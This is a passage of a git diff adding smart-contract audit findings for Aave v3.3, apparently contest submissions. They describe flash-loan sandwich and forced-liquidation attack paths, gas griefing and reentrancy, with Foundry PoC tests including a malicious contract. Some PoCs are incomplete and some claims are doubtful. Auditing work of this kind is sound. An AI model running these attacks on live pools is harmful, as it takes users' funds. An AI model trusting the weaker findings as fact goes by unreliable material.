Errors.DEFICIT_CAP_EXCEEDED +); +``` + +These changes ensure the protocol's safety parameters properly account for all forms of unbacked exposure. \ No newline at end of file diff --git a/177.md b/177.md new file mode 100644 index 0000000..0a8a237 --- /dev/null +++ b/177.md @@ -0,0 +1,100 @@ +Proud Taffy Worm + +Medium + +# Unbounded Bridge Fees in Token Backing Can Manipulate Pool Economics + +### Description +In `BridgeLogic.sol`, the `executeBackUnbacked` function lacks validation between backing amounts and their associated fees, allowing bridges to manipulate pool economics through disproportionate fees. While this can only be executed by authorized bridges, it represents a meaningful protocol risk. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L121 + +```solidity +function executeBackUnbacked( + DataTypes.ReserveData storage reserve, + address asset, + uint256 amount, + uint256 fee, + uint256 protocolFeeBps +) external returns (uint256) { + uint256 backingAmount = (amount < reserve.unbacked) ? amount : reserve.unbacked; + uint256 feeToProtocol = fee.percentMul(protocolFeeBps); + uint256 feeToLP = fee - feeToProtocol; + uint256 added = backingAmount + fee; + // No validation of fee relative to backingAmount +``` + +The key vulnerability is that fees can be disproportionately large compared to the actual backing amount, which impacts core protocol metrics through the liquidity index calculation: + +```solidity +reserveCache.nextLiquidityIndex = reserve.cumulateToLiquidityIndex( + IERC20(reserveCache.aTokenAddress).totalSupply() + + uint256(reserve.accruedToTreasury).rayMul(reserveCache.nextLiquidityIndex), + feeToLP +); +``` + +### Impact + +The severity of this issue stems from how bridge-provided fees directly influence core pool parameters. When a bridge submits excessive fees relative to small backing amounts, it triggers a sequence of economic distortions: + +First, it artificially inflates the liquidity index through the LP fee distribution: +```solidity +reserveCache.nextLiquidityIndex = reserve.cumulateToLiquidityIndex( + IERC20(reserveCache.aTokenAddress).totalSupply() + + uint256(reserve.accruedToTreasury).rayMul(reserveCache.nextLiquidityIndex), + feeToLP +); +``` +This inflated liquidity index cascades into aToken exchange rates since they derive their value from this index, affecting all users holding aTokens in the pool. + +The protocol portion of these fees then accumulates in treasury at an accelerated rate: +```solidity +reserve.accruedToTreasury += feeToProtocol.rayDiv( + reserveCache.nextLiquidityIndex +).toUint128(); +``` + +Finally, these artificial liquidity additions influence the interest rate model's calculations: +```solidity +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + asset, + added, // backingAmount + inflated fee + 0 +); +``` +Since `added` includes both the backing amount and fee, disproportionate fees can trigger unwarranted interest rate adjustments across the pool. + +While this manipulation requires bridge authorization and actual token transfers: +```solidity +IERC20(asset).safeTransferFrom(msg.sender, reserveCache.aTokenAddress, added); +``` +A compromised bridge could still exploit this to create significant economic distortions. For example, a bridge could back 100 USDC of unbacked debt while providing 10,000 USDC in fees, causing artificial rate spikes and skewed aToken valuations that affect all pool participants. + + +### Recommended Mitigation Steps +1. Implement fee validation relative to backing amount: +```solidity +uint256 backingAmount = (amount < reserve.unbacked) ? amount : reserve.unbacked; +require(fee <= backingAmount.percentMul(MAX_BACKING_FEE_BPS), "Bridge fee too large"); +``` + +2. Add protocol-level fee caps for bridge operations: +```solidity +uint256 constant MAX_BACKING_FEE_BPS = 1000; // 10% +uint256 constant MAX_PROTOCOL_FEE_BPS = 5000; // 50% of total fee +require(protocolFeeBps <= MAX_PROTOCOL_FEE_BPS, "Protocol fee too high"); +``` + +3. Consider implementing tiered fee caps based on backing amounts: +```solidity +function getMaxFee(uint256 backingAmount) internal pure returns (uint256) { + if (backingAmount <= SMALL_BACKING_THRESHOLD) { + return backingAmount.percentMul(MAX_SMALL_BACKING_FEE_BPS); + } + return backingAmount.percentMul(MAX_BACKING_FEE_BPS); +} +``` + +These changes protect against economic manipulation while maintaining bridge functionality within reasonable bounds. \ No newline at end of file diff --git a/178.md b/178.md new file mode 100644 index 0000000..5dd1aad --- /dev/null +++ b/178.md @@ -0,0 +1,133 @@ +Proud Taffy Worm + +High + +# Missing Health Factor Validation in Collateral Disabling Allows Forced Liquidations Through Deficit Elimination for Non-Virtual Assets + +### Description +In `LiquidationLogic.sol`, the `executeEliminateDeficit()` function contains a critical vulnerability where eliminating an account's entire balance automatically disables that asset as collateral, without checking if this would make the user's position unsafe. This can be exploited to force liquidations of otherwise healthy positions. + +It's important to note that while only the Umbrella contract can initiate deficit elimination, it has the power to burn aTokens from any user's balance. This happens through the Pool contract: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L73 + +```solidity +modifier onlyUmbrella() { + require(ADDRESSES_PROVIDER.getAddress(UMBRELLA) == msg.sender, Errors.CALLER_NOT_UMBRELLA); + _; +} +``` + + +The burn operation is executed through the aToken contract: + + +```solidity +function burn( + address from, // Can be any user's address + address receiverOfUnderlying, + uint256 amount, + uint256 index +) external virtual override onlyPool { + _burnScaled(from, receiverOfUnderlying, amount, index); + // ... +} +``` + +The vulnerable code that triggers collateral disabling: + +```solidity +if (isCollateral && balanceWriteOff == userBalance) { + userConfig.setUsingAsCollateral(reserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); +} +``` + +The function disables an asset as collateral whenever the entire balance is written off, without: +1. Checking the user's overall health factor +2. Validating if removing this collateral would make the position unsafe +3. Allowing users to prevent their collateral from being disabled + +The severity of this issue varies by asset type: +- For assets with virtual accounting, the impact is limited as utilization calculations use virtual balances +- However, non-virtual assets like GHO are fully vulnerable as they directly affect pool utilization + +### Scenario +This vulnerability can be exploited to force liquidations through the following attack path: + +To illustrate the risk, consider a typical user position: + +100,000 GHO as collateral (non-virtual asset) +80,000 USDC borrowed +Health factor of 1.2 (safely over-collateralized) + +When a deficit elimination targets GHO, this user's entire GHO balance could be burned and automatically disabled as collateral, instantly making their position unsafe despite no market movement. + +An attacker can exploit this through the following steps: + +1. Attacker identifies accounts using the deficit-affected asset as collateral that are close to but above liquidation threshold +2. When a large deficit elimination is incoming, attacker: + - Front-runs with a flash loan + - Takes leveraged positions against target accounts' collateral +3. Deficit elimination executes, disabling collateral +4. Attacker back-runs by: + - Liquidating now-unsafe positions at a discount + - Profiting from liquidation bonuses + - Repaying flash loan + +### Impact +This creates a severe risk pattern that compounds through the liquidation mechanism. When collateral is forcibly disabled via deficit elimination, positions that were safely over-collateralized suddenly become vulnerable to liquidation without any market movement or user action. The attacker exploits this artificial position deterioration by using flash loans to immediately liquidate the now-unsafe positions, capturing the liquidation bonus that would normally only be available during legitimate market stress. + +The economic impact is significant: + +- Typical liquidation bonuses in Aave range from 5-10% +- On a 100,000 GHO position, attackers could extract 5,000-10,000 GHO in pure profit +- Target-rich environment: Any position using non-virtual assets (like GHO) as collateral with health factor between 1.0-1.2 +- Large positions are particularly vulnerable as they're likely to use maximum leverage + +For context, a user with a $1M position using maximum allowed LTV could be forced into liquidation, with attackers extracting $50,000-$100,000 in liquidation bonuses, despite the position being perfectly healthy under normal market conditions. + +The unfairness is exacerbated because these liquidations occur despite no actual change in the underlying asset's value or market conditions, representing a pure transfer of value from legitimate users to opportunistic attackers who can monitor and react to deficit elimination transactions. This dynamic fundamentally breaks the protocol's liquidation mechanism which is designed to trigger only due to actual market risk, not administrative actions. + +### Recommended Mitigation Steps + +1. Add health factor validation before disabling collateral: +```solidity +if (isCollateral && balanceWriteOff == userBalance) { + (,,,,, uint256 healthFactor) = pool.getUserAccountData(user); + require(healthFactor >= MINIMUM_HEALTH_FACTOR, "Would make position unsafe"); + userConfig.setUsingAsCollateral(reserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); +} +``` + +2. Allow users to optionally keep the asset as collateral even after deficit elimination: +```solidity +function executeEliminateDeficit( + ... + bool keepAsCollateral +) { + ... + if (isCollateral && balanceWriteOff == userBalance && !keepAsCollateral) { + // Existing collateral disable logic + } +} +``` + +3. Implement gradual deficit elimination to prevent large sudden changes: +```solidity +require( + balanceWriteOff <= reserve.deficit.percentMul(MAX_ELIMINATION_PERCENT_PER_TX), + "Elimination too large" +); +``` + +The recommended health factor validation is particularly important for non-virtual assets: + +- For virtual assets (most assets in Aave), the collateral disabling has limited impact on utilization +- For non-virtual assets like GHO, extra protection is critical as they lack virtual balance protection +- The gradual elimination approach gives users time to adjust positions and maintain health factors + +Implementation note: The MINIMUM_HEALTH_FACTOR should be set conservatively, recommended at 1.1 to provide safety margin above liquidation threshold. \ No newline at end of file diff --git a/179.md b/179.md new file mode 100644 index 0000000..19ff3bb --- /dev/null +++ b/179.md @@ -0,0 +1,108 @@ +Proud Taffy Worm + +High + +# Interest Rate Manipulation Through Deficit Elimination for Non-Virtual Assets + +### Description +In `LiquidationLogic.sol`, the `executeEliminateDeficit()` function is vulnerable to a sandwich attack that can manipulate interest rates, but only for assets that don't use virtual accounting (like GHO). The vulnerability stems from how deficit elimination affects utilization and interest rates for these specific assets. + +The vulnerability centers on rate updates for non-virtual assets: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96 + +```solidity +function executeEliminateDeficit( + mapping(address => DataTypes.ReserveData) storage reservesData, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteEliminateDeficitParams memory params +) external { + // ... validation logic + + if (!reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + // For assets like GHO without virtual accounting + // Direct impact on utilization and rates + IERC20(params.asset).safeTransferFrom( + msg.sender, + reserveCache.aTokenAddress, + balanceWriteOff + ); + } + + reserve.updateInterestRatesAndVirtualBalance(reserveCache, params.asset, 0, 0); +} +``` + +The key issue is that for non-virtual assets: +1. Deficit elimination directly affects supply/utilization +2. Rate changes are predictable and manipulable +3. No rate change limits are implemented + +Most assets are protected through virtual balance accounting: +```solidity +if (reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + reserve.virtualUnderlyingBalance += liquidityAdded.toUint128(); + reserve.virtualUnderlyingBalance -= liquidityTaken.toUint128(); +} +``` + +But assets like GHO that don't use virtual accounting remain vulnerable. + +### Scenario +This vulnerability enables a sandwich attack specifically on non-virtual assets: + +1. Attacker monitors for large deficit eliminations +2. When detected for a non-virtual asset (e.g. GHO): + - Front-run with flash loan borrow + - Temporarily increases utilization and rates +3. Deficit elimination executes: + - Affects actual utilization directly + - Drops rates significantly +4. Back-run: + - Repay at lower rate + - Profit from rate differential + +### Impact +The manipulation only affects assets without virtual accounting but can cause: +- Artificial rate spikes before deficit elimination +- Unfair rate costs to existing borrowers +- Excess profits through rate arbitrage +- Market instability for affected assets + +The severity is high for affected assets because: +- Rate manipulation directly impacts borrower costs +- Deficit eliminations are predictable (Umbrella-only) +- No rate change limits exist for protection + +### Recommended Mitigation Steps + +1. Add rate change limits for non-virtual assets: +```solidity +function executeEliminateDeficit(...) { + if (!reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + uint256 oldRate = reserve.currentVariableBorrowRate; + + // Deficit elimination logic + + uint256 newRate = reserve.currentVariableBorrowRate; + require( + oldRate - newRate <= MAX_RATE_CHANGE_NON_VIRTUAL, + "Rate change too large" + ); + } +} +``` + +2. Consider gradual elimination for large amounts: +```solidity +if (!reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + uint256 maxEliminationPerBlock = reserve.deficit + .percentMul(MAX_ELIMINATION_PERCENT_PER_BLOCK); + require( + balanceWriteOff <= maxEliminationPerBlock, + "Elimination too large" + ); +} +``` + +These changes would protect non-virtual assets from rate manipulation while preserving the core deficit elimination functionality. \ No newline at end of file diff --git a/180.md b/180.md new file mode 100644 index 0000000..7f4fdac --- /dev/null +++ b/180.md @@ -0,0 +1,144 @@ +Fast Scarlet Beaver + +High + +# Users may lose funds through stuck repayments due to precision errors + +### Summary + +A strict equality comparison in debt repayment calculations will cause users to lose funds as precision errors will prevent debt from being fully repaid when the difference between debt and repayment is microscopically small + + +### Root Cause + +In case it's a mistake in the code: In BorrowLogic.sol#197 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L197) the check `variableDebt - paybackAmount == 0` uses strict equality which is unsafe for token amounts that can have rounding/precision differences + + +### Internal Pre-conditions + +1. User needs to have a variable rate debt position with microscopic precision differences +2. User attempts to repay the exact nominal amount of their debt +3. The debt token must be an ERC20 with more than 18 decimals or prone to precision errors + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User takes out a loan that results in a debt of 100.000000000000000001 tokens +2. User attempts to repay exactly 100 tokens +3. The check `variableDebt - paybackAmount == 0` fails due to the 0.000000000000000001 difference +4. The `setBorrowing(reserve.id, false)` is not executed +5. User's debt position remains open with dust amount +6. User cannot close their position without overpaying + +### Impact + +* The users cannot fully repay their debt positions when microscopic precision differences exist, forcing them to either: + - Overpay to close the position + - Leave the position open with dust amounts + - Pay additional gas fees for multiple repayment attempts + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "../src/contracts/protocol/libraries/logic/BorrowLogic.sol"; + +contract PrecisionErrorTest is Test { + // Mock contracts + MockVariableDebtToken public variableDebtToken; + MockAToken public aToken; + + // Test accounts + address public user = address(1); + address public onBehalfOf = address(1); + + function setUp() public { + // Deploy mock contracts + variableDebtToken = new MockVariableDebtToken(); + aToken = new MockAToken(); + + // Setup initial state + vm.label(user, "User"); + } + + function testPrecisionError() public { + // Setup - Create a debt position with precision dust + uint256 debtAmount = 100000000000000000001; // 100.000000000000000001 tokens + uint256 repayAmount = 100000000000000000000; // 100 tokens + + // Mock the debt token balance + variableDebtToken.setBalance(onBehalfOf, debtAmount); + + // Create repayment params + DataTypes.ExecuteRepayParams memory params = DataTypes.ExecuteRepayParams({ + asset: address(0), + amount: repayAmount, + interestRateMode: DataTypes.InterestRateMode.VARIABLE, + onBehalfOf: onBehalfOf, + useATokens: false + }); + + // Execute repayment + vm.startPrank(user); + vm.expectRevert(); // Expect revert due to precision error + borrowLogic.executeRepay(reservesData, reservesList, userConfig, params); + vm.stopPrank(); + + // Verify debt position still exists + assertTrue(userConfig.isBorrowing(reserve.id)); + assertEq(variableDebtToken.balanceOf(onBehalfOf), 1); // Dust amount remains + } +} + +// Mock Contracts +contract MockVariableDebtToken { + mapping(address => uint256) private _balances; + + function setBalance(address account, uint256 amount) external { + _balances[account] = amount; + } + + function balanceOf(address account) external view returns (uint256) { + return _balances[account]; + } + + function burn( + address user, + uint256 amount, + uint256 index + ) external returns (uint256) { + require(_balances[user] >= amount, "Insufficient balance"); + _balances[user] -= amount; + return _balances[user]; + } +} + +contract MockAToken { + function burn( + address user, + address target, + uint256 amount, + uint256 index + ) external {} +} +``` + +### Mitigation + +Replace the strict equality check with a threshold check: + +```solidity +// Add a small epsilon value for precision tolerance +uint256 constant REPAYMENT_EPSILON = 1e9; // Adjust based on token decimals + +if (variableDebt - paybackAmount <= REPAYMENT_EPSILON) { + userConfig.setBorrowing(reserve.id, false); +} +``` diff --git a/181.md b/181.md new file mode 100644 index 0000000..ef49449 --- /dev/null +++ b/181.md @@ -0,0 +1,96 @@ +Fast Pink Crow + +High + +# When deficit is repaid the liquidity index is not updated correctly + +### Summary + +When there is a deficit, the debt tokens are burnt and the deficit is increased. Deficit increase is accounted in liquidity rate as unbacked tokens which unbacked tokens decrease the supply rate. When the unbacked tokens are repaid, the liquidity index is increased so that the aToken holders can claim the returned tokens. However, when deficit is repaid the liquidity index is not updated like unbacked tokens leading that the debt repaid is idle in contract. + +### Root Cause + + +When there are unbacked tokens (deficit and unbacked), the liquidity rate is calculated as follows: +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/misc/DefaultReserveInterestRateStrategyV2.sol#L141-L176 + +We can observe here in these lines that the supplyRate is multiplied by the supplyUsageRatio, which is calculated as debt / available liquidity + unbacked tokens: +```solidity +vars.currentLiquidityRate = vars + .currentVariableBorrowRate + .rayMul(vars.supplyUsageRatio) + .percentMul(PercentageMath.PERCENTAGE_FACTOR - params.reserveFactor); +``` + +This basically means that when debt occurs, the interest is distributed to a lesser extent, considering that unbacked tokens' aToken holders are nonexistent until they are backed. + +And here we can observe that when the unbacked tokens are backed, the underlying tokens are sent to the aToken, interest rates are updated, and most importantly, the `liquidityIndex` is updated such that the aToken holders now socialize the profits from it: +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L138-L149 + +Now, when we check how the deficit is repaid (treated as unbacked in rate calculation), the liquidity index is not increased, but only the rate and the token transfers occur! This means that the repaid deficit didn't reflect on the aToken holders. When they withdraw, they will not see the effects of the repaid deficit! +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96-L166 + + +### Internal Pre-conditions + +1. Deficit is repaid + +### External Pre-conditions + +None needed + +### Attack Path + +No attack path, can happen naturally whenever deficit is repaid. + +### Impact + +Repaid deficit will not reflect to aToken holders. aToken will have idle tokens in its balance, repaid funds will be lost since they will not be used for repayment. + +### PoC + +```solidity +function test_eliminateDeficit_misaccountingIndex( + ) public { + address coverageAdmin = address(0x69); + uint120 borrowAmount = 100_000e18; + _filterAddresses(coverageAdmin); + uint256 currentDeficit = _createReserveDeficit(borrowAmount, tokenList.usdx); + + vm.prank(poolAdmin); + contracts.poolAddressesProvider.setAddress(bytes32('UMBRELLA'), coverageAdmin); + + DataTypes.ReserveDataLegacy memory reserveData = contracts.poolProxy.getReserveData( + tokenList.usdx + ); + + // +1 to account for imprecision on supply + _mintATokens(tokenList.usdx, coverageAdmin, currentDeficit + 1); + + vm.startPrank(coverageAdmin); + IERC20(tokenList.usdx).approve(report.poolProxy, UINT256_MAX); + DataTypes.UserConfigurationMap memory userConfigBefore = contracts + .poolProxy + .getUserConfiguration(coverageAdmin); + assertEq(userConfigBefore.isUsingAsCollateral(reserveData.id), true); + + // eliminate deficit + vm.expectEmit(address(contracts.poolProxy)); + emit DeficitCovered(tokenList.usdx, coverageAdmin, currentDeficit); + uint256 normalizedIncomeBefore = contracts.poolProxy.getReserveNormalizedIncome(tokenList.usdx); + console.log("normalizedIncome before", normalizedIncomeBefore); + contracts.poolProxy.eliminateReserveDeficit(tokenList.usdx, currentDeficit); + + assertEq(contracts.poolProxy.getReserveDeficit(tokenList.usdx), 0); + + uint256 normalizedIncomeAfter = contracts.poolProxy.getReserveNormalizedIncome(tokenList.usdx); + console.log("normalizedIncome after", normalizedIncomeAfter); + + // problem!! + assertEq(normalizedIncomeAfter, normalizedIncomeBefore); + } +``` + +### Mitigation + +Increase the liquidity index just like it's done in unbacked tokens backing. \ No newline at end of file diff --git a/182.md b/182.md new file mode 100644 index 0000000..3e91d82 --- /dev/null +++ b/182.md @@ -0,0 +1,68 @@ +Little Lead Barracuda + +Medium + +# Current bad debt mechanism allows for gas griefing. + +### Summary +AAVE v3.3 introduces new logic which should ideally handle bad debt. In situations when after a liquidation, a user has no more collateral (in base units) but has outstanding debt, all of their debt is cleared in order to prevent further interest accrual. + +```solidity + if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { + _burnBadDebt(reservesData, reservesList, userConfig, params.reservesCount, params.user); + } +``` + +The problem is that unless the user has made an isolated loan, anyone can transfer them dust amount of aTokens which would enable the asset as collateral and would require it to get liquidated in order to trigger the bad debt mechanism. A single `aToken` transfer which enables the asset as collateral costs ~85,000 gas. However, a liquidation (without bad debt clearing) costs ~160,000 gas. As 1 base unit is $0.00000001, the assets that need to be sent do not cost anything. Currently, there are more than 20 assets on Ethereum which could be used in non-isolated loans, meaning that griefer can spend ~1,700,000 gas in order to cost AAVE ~3,200,000 gas to trigger the bad debt mechanism. + +At current prices on mainnet (10 gwei, ETH $3.3k), this is `10e9 * 3.2e6 * 3.3e3 / 1e18 = ~$100` in gas fees in order to trigger the bad debt mechanism. And it costs the attacker just ~$55.75 to do that. The liquidator would not have any profit to do that (as there's no valuable collateral), so this only leaves AAVE protocol to perform these actions and take the gas costs, or leave bad debt within the protocol which makes the current update useless and deals damage to the protocol itself. + +It must also be noted that gas costs have historically been much higher, so losses would be even higher at such times. + + +### Root Cause +Impractical code architecture. + +### Impact +Losses either for the AAVE DAO or the AAVE protocol. + +### PoC +The following test was ran on a live fork to get aToken gas costs +```solidity +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import {IPool} from "../src/interfaces/IPool.sol"; +import {IERC20} from "../src/interfaces/IERC20.sol"; + + +contract AaveTest is Test { + IPool aave = IPool(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IERC20 aUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c); + + address user = address(1); + address user2 = address(2); + + function testIssue() public { + vm.startPrank(user); + deal(address(usdc), user, 1000e6); + usdc.approve(address(aave), 1000e6); + + aave.supply(address(usdc), 1000e6, user, 0); + + uint256 gasleft1 = gasleft(); + aUSDC.transfer(user2, 2000); + uint256 gasleft2 = gasleft(); + console.log(gasleft1 - gasleft2); + } +} +``` +And new liquidation gas costs can be checked on almost any of the tests within `Pool.Liquidations.t.sol` + +### Affected Code +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L357 + +### Mitigation +Fix is not trivial. \ No newline at end of file diff --git a/183.md b/183.md new file mode 100644 index 0000000..00592f7 --- /dev/null +++ b/183.md @@ -0,0 +1,188 @@ +Fast Scarlet Beaver + +High + +# Event ordering manipulation enables MEV and state inconsistencies + +### Summary + +Incorrect event emission ordering in executeRepay allows malicious actors to manipulate protocol state tracking as external burn calls enable reentrancy before critical events are emitted + + +### Root Cause + +In case it's a mistake in the code: In BorrowLogic.sol (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L47) the `ReserveUsedAsCollateralDisabled` event is emitted after external calls to `variableDebtToken.burn()` and `aToken.burn()`, violating checks-effects-interactions + + +### Internal Pre-conditions + +1. User has supplied collateral and taken out a variable rate loan +2. User is repaying with aTokens +3. The repayment would fully exhaust the user's aToken balance + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls `executeRepay` with `useATokens=true` +2. Function makes external call to `variableDebtToken.burn()` +3. Attacker's malicious contract performs reentrant calls during burn +4. Another external call is made to `aToken.burn()` +5. `ReserveUsedAsCollateralDisabled` event is emitted last +6. MEV bots/integrations see events in wrong order + +### Impact + +* Protocol integrators and MEV bots receive incorrect state information leading to: + - Incorrect liquidation attempts + - Failed transactions due to state inconsistency + - Potential arbitrage opportunities from state desync + - Increased MEV extraction possibilities + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "../src/contracts/protocol/libraries/logic/BorrowLogic.sol"; + +contract ReentrancyTest is Test { + // Mock contracts + MockVariableDebtToken public variableDebtToken; + MockAToken public aToken; + MaliciousContract public attacker; + + // Test accounts + address public user = address(1); + + function setUp() public { + // Deploy mock contracts + variableDebtToken = new MockVariableDebtToken(); + aToken = new MockAToken(); + attacker = new MaliciousContract(address(variableDebtToken), address(aToken)); + + vm.label(address(attacker), "Attacker"); + } + + function testReentrancyEventOrder() public { + // Setup initial state + uint256 initialDebt = 100 ether; + variableDebtToken.setBalance(address(attacker), initialDebt); + aToken.setBalance(address(attacker), initialDebt); + + // Create repayment params + DataTypes.ExecuteRepayParams memory params = DataTypes.ExecuteRepayParams({ + asset: address(0), + amount: initialDebt, + interestRateMode: DataTypes.InterestRateMode.VARIABLE, + onBehalfOf: address(attacker), + useATokens: true + }); + + // Start recording events + vm.recordLogs(); + + // Execute attack + attacker.executeAttack(params); + + // Get emitted events + Vm.Log[] memory entries = vm.getRecordedLogs(); + + // Verify event order manipulation + assertEventOrder(entries); + } + + // Helper to verify events were manipulated + function assertEventOrder(Vm.Log[] memory entries) internal { + bool foundReentrancyEvent = false; + bool foundCollateralEvent = false; + + for (uint i = 0; i < entries.length; i++) { + if (entries[i].topics[0] == keccak256("ReentrantCall(address)")) { + foundReentrancyEvent = true; + } + if (entries[i].topics[0] == keccak256("ReserveUsedAsCollateralDisabled(address,address)")) { + foundCollateralEvent = true; + // Verify reentrant call happened before collateral disabled event + assertTrue(foundReentrancyEvent, "Reentrancy event should occur before collateral event"); + } + } + } +} + +// Malicious contract that performs the reentrancy attack +contract MaliciousContract { + IVariableDebtToken public variableDebtToken; + IAToken public aToken; + + constructor(address _variableDebtToken, address _aToken) { + variableDebtToken = IVariableDebtToken(_variableDebtToken); + aToken = IAToken(_aToken); + } + + // Function to start the attack + function executeAttack(DataTypes.ExecuteRepayParams memory params) external { + // Trigger repayment which will call back into this contract + borrowLogic.executeRepay(reservesData, reservesList, userConfig, params); + } + + // Callback function that gets triggered during burn + function onBurn(address, uint256, uint256) external { + emit ReentrantCall(msg.sender); + // Perform malicious action here + // For PoC we just emit an event to prove reentrancy + } +} + +// Additional mock contracts +contract MockAToken { + mapping(address => uint256) private _balances; + + function setBalance(address account, uint256 amount) external { + _balances[account] = amount; + } + + function balanceOf(address account) external view returns (uint256) { + return _balances[account]; + } + + function burn( + address user, + address target, + uint256 amount, + uint256 index + ) external { + require(_balances[user] >= amount, "Insufficient balance"); + _balances[user] -= amount; + // Call onBurn to trigger reentrancy + MaliciousContract(user).onBurn(target, amount, index); + } +} +``` + +### Mitigation + +```solidity +function executeRepay(...) external returns (uint256) { + // Cache initial state + bool isCollateral = userConfig.isUsingAsCollateral(reserve.id); + + // Emit events before external calls + if (isCollateral && paybackAmount == variableDebt) { + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); + } + + // Perform external calls + reserveCache.nextScaledVariableDebt = IVariableDebtToken(...).burn(...); + IAToken(...).burn(...); + + // Update state after external calls + if (isCollateral && IAToken(...).scaledBalanceOf(msg.sender) == 0) { + userConfig.setUsingAsCollateral(reserve.id, false); + } +} +``` diff --git a/184.md b/184.md new file mode 100644 index 0000000..d9420df --- /dev/null +++ b/184.md @@ -0,0 +1,76 @@ +Beautiful Lace Puma + +High + +# Vulnerability in initialize() Function of Pool.sol + +### Summary + +The initialize() function in the Pool.sol contract lacks access control, making it vulnerable to unauthorized initialization and front-running attacks. This function, which is supposed to be called by a trusted proxy contract during deployment or configuration, can also be directly called by any external account frontrunning the invoked call. This allows malicious actors to initialize the contract with arbitrary parameters, potentially causing unauthorized control or misconfiguration of the contract. + +### Root Cause + +The root cause of the vulnerability in the initialize() function lies in the absence of access control and the lack of a mechanism to ensure the function is only called once. These issues result in two primary weaknesses: + +Missing Access Control: +The initialize() function is marked as external and can be called by any account, including malicious actors. Since no checks are in place to validate the caller's identity, unauthorized entities can invoke the function and provide arbitrary parameters. + +Reinitialization Risk: +The function lacks a mechanism to ensure it is only called once. This allows multiple calls to initialize(), either by a malicious actor or unintentionally, leading to misconfiguration or overwriting of critical contract state. + + +```solidity + /** + * @dev Constructor. + * @param provider The address of the PoolAddressesProvider contract + */ + constructor(IPoolAddressesProvider provider) { + ADDRESSES_PROVIDER = provider; + } + + /** + * @notice Initializes the Pool. + * @dev Function is invoked by the proxy contract when the Pool contract is added to the + * PoolAddressesProvider of the market. + * @dev Caching the address of the PoolAddressesProvider in order to reduce gas consumption on subsequent operations + * @param provider The address of the PoolAddressesProvider + */ + function initialize(IPoolAddressesProvider provider) external virtual; +``` + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Unauthorized Access: +Any external account can call the initialize() function, leading to arbitrary initialization of the contract. + +Front-Running Risk: +If the trusted entity intends to call initialize() after deployment, an attacker can front-run the transaction and initialize the contract with malicious parameters. + +Permanent Misconfiguration: +Improper initialization could result in the contract being in an unusable or insecure state, requiring redeployment or emergency recovery measures. + +### PoC + +_No response_ + +### Mitigation + +OpenZeppelin Initializable Documentation: https://docs.openzeppelin.com/contracts/4.x/api/proxy#Initializable +Best Practices for Proxy Initialization: https://blog.openzeppelin.com/proxy-patterns/ + + +Remove external change it with internal or with initialize modifier \ No newline at end of file diff --git a/185.md b/185.md new file mode 100644 index 0000000..b3919a2 --- /dev/null +++ b/185.md @@ -0,0 +1,87 @@ +Alert Lead Wolverine + +High + +# Unauthorized Access to Deficit Elimination Logic Bypasses Umbrella Entity Control + +### Summary + +Some of the invariant in properties.md specifies that: + +- The burning of claims can only be performed by a permissioned UMBRELLA entity registered on the PoolAddressesProvider +- Claims can only be burned trough pool.eliminateReserveDeficit() up to the current obligations stored in reserve.deficit. + +However, the function [executeEliminateDeficit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96) called through pool.eliminateReserveDeficit(), which is responsible for eliminating a reserve's deficit, is externally callable, allowing unauthorized contracts to bypass the access control enforced by the onlyUmbrella modifier in pool.eliminateReserveDeficit(). This causes a critical vulnerability, where the burning of claims — a key process in managing the protocol's financial health — can be exploited by an unauthorized entity, violating the main invariant that only the permissioned Umbrella entity should be able to perform these actions and causing financial loss. + + +### Root Cause + +The core logic for deficit elimination is found in the function 